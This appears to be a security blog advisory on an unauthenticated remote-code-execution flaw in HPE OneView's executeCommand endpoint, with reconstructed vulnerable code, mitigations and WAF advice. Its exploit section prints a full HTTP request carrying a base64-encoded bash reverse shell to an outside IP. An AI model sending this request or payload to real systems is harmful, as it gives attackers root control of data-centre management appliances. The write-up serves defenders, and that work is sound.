Feb 23, 2026·6 min read·64 visits
Unauthenticated RCE in HPE OneView versions prior to 11.00 via the `/rest/id-pools/executeCommand` endpoint. Attackers can send a simple JSON request to run arbitrary shell commands with high privileges. CVSS 10.0. Active in CISA KEV. Patch immediately.
HPE OneView, the 'God Mode' console for managing enterprise hardware, shipped with a debugging endpoint so spectacularly insecure it borders on satire. CVE-2025-37164 is an unauthenticated Remote Code Execution vulnerability that allows anyone with network access to execute arbitrary shell commands as root. No credentials required, no complex memory corruption—just a simple JSON payload sent to an API endpoint that arguably should never have existed in production. It is currently being actively exploited in the wild.
In the world of enterprise infrastructure, HPE OneView is the crown jewel. It is an infrastructure management appliance—software that controls the physical hardware. It manages servers, storage arrays, and networking fabrics. It spins up bare-metal servers, configures firmware, and handles the cooling. If you control OneView, you don't just own a server; you own the building blocks of the data center.
Usually, breaking into an appliance like this requires a complex chain: bypass the login, find a memory leak, corrupt the heap, and pray the ROP chain holds together. It's an art form.
But CVE-2025-37164 is not art. It is a tragedy. It turns out that while security teams were busy hardening the front door with MFA and VPNs, the developers left a side window wide open. Specifically, a REST API endpoint designed to execute shell commands was left accessible without authentication. It's the digital equivalent of a bank vault that opens if you just ask nicely.
The vulnerability lies in the API endpoint /rest/id-pools/executeCommand. If you are a developer, the name alone should make your blood run cold. Why does an endpoint named executeCommand exist in a production REST API? And why is it exposed to the internet?
This endpoint appears to be a vestige of testing or internal debugging functionality that was never stripped from the release build. The application logic fails to perform two critical checks:
permitAll.This is a textbook Command Injection (CWE-78), but it's actually worse. Usually, command injection involves tricking a legitimate utility (like ping or grep) into running extra commands via delimiters like ; or &&. Here, the endpoint isn't a wrapper for a utility; it is a direct interface to the shell. You aren't injecting a command; you are simply requesting one.
While the exact proprietary source code isn't public, the behavior of the endpoint allows us to reconstruct the vulnerable logic with high certainty. It likely resembles a standard Java Controller handling a PUT request.
The Vulnerable Logic (Reconstructed):
@RestController
@RequestMapping("/rest/id-pools")
public class IdPoolController {
// VULNERABILITY: No @PreAuthorize check here!
@PutMapping("/executeCommand")
public ResponseEntity<String> execute(@RequestBody CommandRequest request) {
try {
// THE HORROR: Direct shell execution of user input
Process p = Runtime.getRuntime().exec(request.getCmd());
p.waitFor();
return ResponseEntity.ok("Command executed.");
} catch (Exception e) {
return ResponseEntity.status(500).body("Error");
}
}
}The Fix:
HPE's remediation wasn't just to fix the code; they effectively nuked the endpoint. In the hotfix and version 11.00, the routing to this path is removed or blocked entirely. If you cannot remove the code, the standard mitigation in code would be:
// MITIGATION: Remove the endpoint or secure it
@PreAuthorize("hasRole('ADMIN')") // 1. Require Auth
@PutMapping("/executeCommand")
public ResponseEntity<String> execute(@RequestBody CommandRequest request) {
// 2. Validate input against a strict allowlist
if (!ALLOWED_COMMANDS.contains(request.getCmd())) {
throw new SecurityException("Nice try.");
}
// ...
}The actual patch deployed by HPE involves an HTTP rewrite rule to reject requests to this URI before they even hit the application logic, which is a faster way to stop the bleeding without recompiling the massive OneView JARs.
Exploiting this is trivially easy, script-kiddie friendly, and highly reliable. The attacker only needs to send a PUT request. However, there is a small catch: the JSON parser and the underlying shell execution environment can be finicky about spaces and quotes.
The Attack Chain:
{"cmd": "<COMMAND>"}. To bypass potential whitespace issues in the Runtime.exec tokenizer, attackers often use the Internal Field Separator (${IFS}) or base64 encoding.The Exploit Request:
PUT /rest/id-pools/executeCommand HTTP/1.1
Host: target-oneview.local
Content-Type: application/json
{
"cmd": "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}",
"result": false
}In the example above, the attacker sends a base64 encoded reverse shell (bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) to avoid dealing with special characters. The server decodes it and executes it, granting the attacker an interactive shell.
> [!NOTE]
> Re-exploitation Potential: Even if the endpoint is blocked, researchers will likely look for other endpoints in the /rest/id-pools/ controller. Often, if a developer forgets auth on one method in a controller, they forgot it on the whole class.
Why is this a CVSS 10.0? Because OneView is an infrastructure concentrator.
rm -rf / on the OneView appliance causes a management blackout. Worse, they could script the power-off sequence for every connected blade server.Since this is being actively exploited (CISA KEV), ransomware groups are likely using it as an initial access vector to encrypt the management plane before moving laterally to the production data.
If you are running OneView older than version 11.00, you are currently exposed. The remediation path is straightforward but urgent.
Immediate Actions:
Defense in Depth:
If you cannot patch right this second, you must block the attack vector at the network layer. Configure your WAF or load balancer to drop any request matching:
PUT/rest/id-pools/executeCommandUnlike many complex deserialization bugs, this one is easy to signature. Do it now, or explain to your CISO why the datacenter just went dark.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
HPE OneView HPE | < 11.00 | 11.00 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS v3.1 | 10.0 (Critical) |
| Attack Vector | Network (Unauthenticated) |
| Impact | Total System Compromise (Root RCE) |
| Exploit Status | Active / Weaponized |
| EPSS Score | 86.43% |
| KEV Status | Listed (2026-01-07) |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
A Denial of Service (DoS) vulnerability has been identified in the Node.js XML parsing library fast-xml-parser. The flaw allows unauthenticated remote attackers to cause severe CPU exhaustion, event-loop blocking, and system crashes by sending a crafted XML payload containing repeated DOCTYPE declarations that bypass recursive entity expansion protections.
The high-performance Node.js image processing library sharp inherits several high and medium-severity security vulnerabilities from its underlying native dependency libvips. These include integer overflows in dimensions calculation, heap-based buffer overflows in GIF/TIFF and JPEG2000 processing, and out-of-bounds reads in the EXIF directory decoder, enabling denial of service and potential code execution.
An interpretation conflict (CWE-436) exists in fast-uri due to differing handling of backslash characters between RFC 3986 and the WHATWG URL specification. This differential allows remote attackers to bypass SSRF filters and origin-allowlist protections when fast-uri is used in conjunction with WHATWG-compliant HTTP clients like Node.js native fetch or undici.
An authorization bypass vulnerability exists in FasterXML jackson-databind versions 2.18.x up to 2.18.8 (and other release branches) where the active @JsonView constraint is bypassed during the deserialization of properties marked with @JsonUnwrapped. This allows remote, authenticated attackers to alter restricted administrative properties on server-side objects by injecting flattened parameters into standard JSON payloads.
CVE-2026-58426 is a critical security vulnerability in Gitea Actions where improper signature serialization allows an authenticated attacker to execute a canonicalization (boundary-shifting) attack. By rewriting query parameters while keeping the signature intact, the attacker can bypass access control checks to read private workflow artifacts or modify concurrent task upload states.
GitPython prior to version 3.1.51 contains a command injection vulnerability due to flaws in its option validation routine. By exploiting Git's native argument parser behavior, specifically long-option abbreviation resolution and short-option clustering, attackers can bypass the check_unsafe_options blocklist to execute arbitrary OS commands.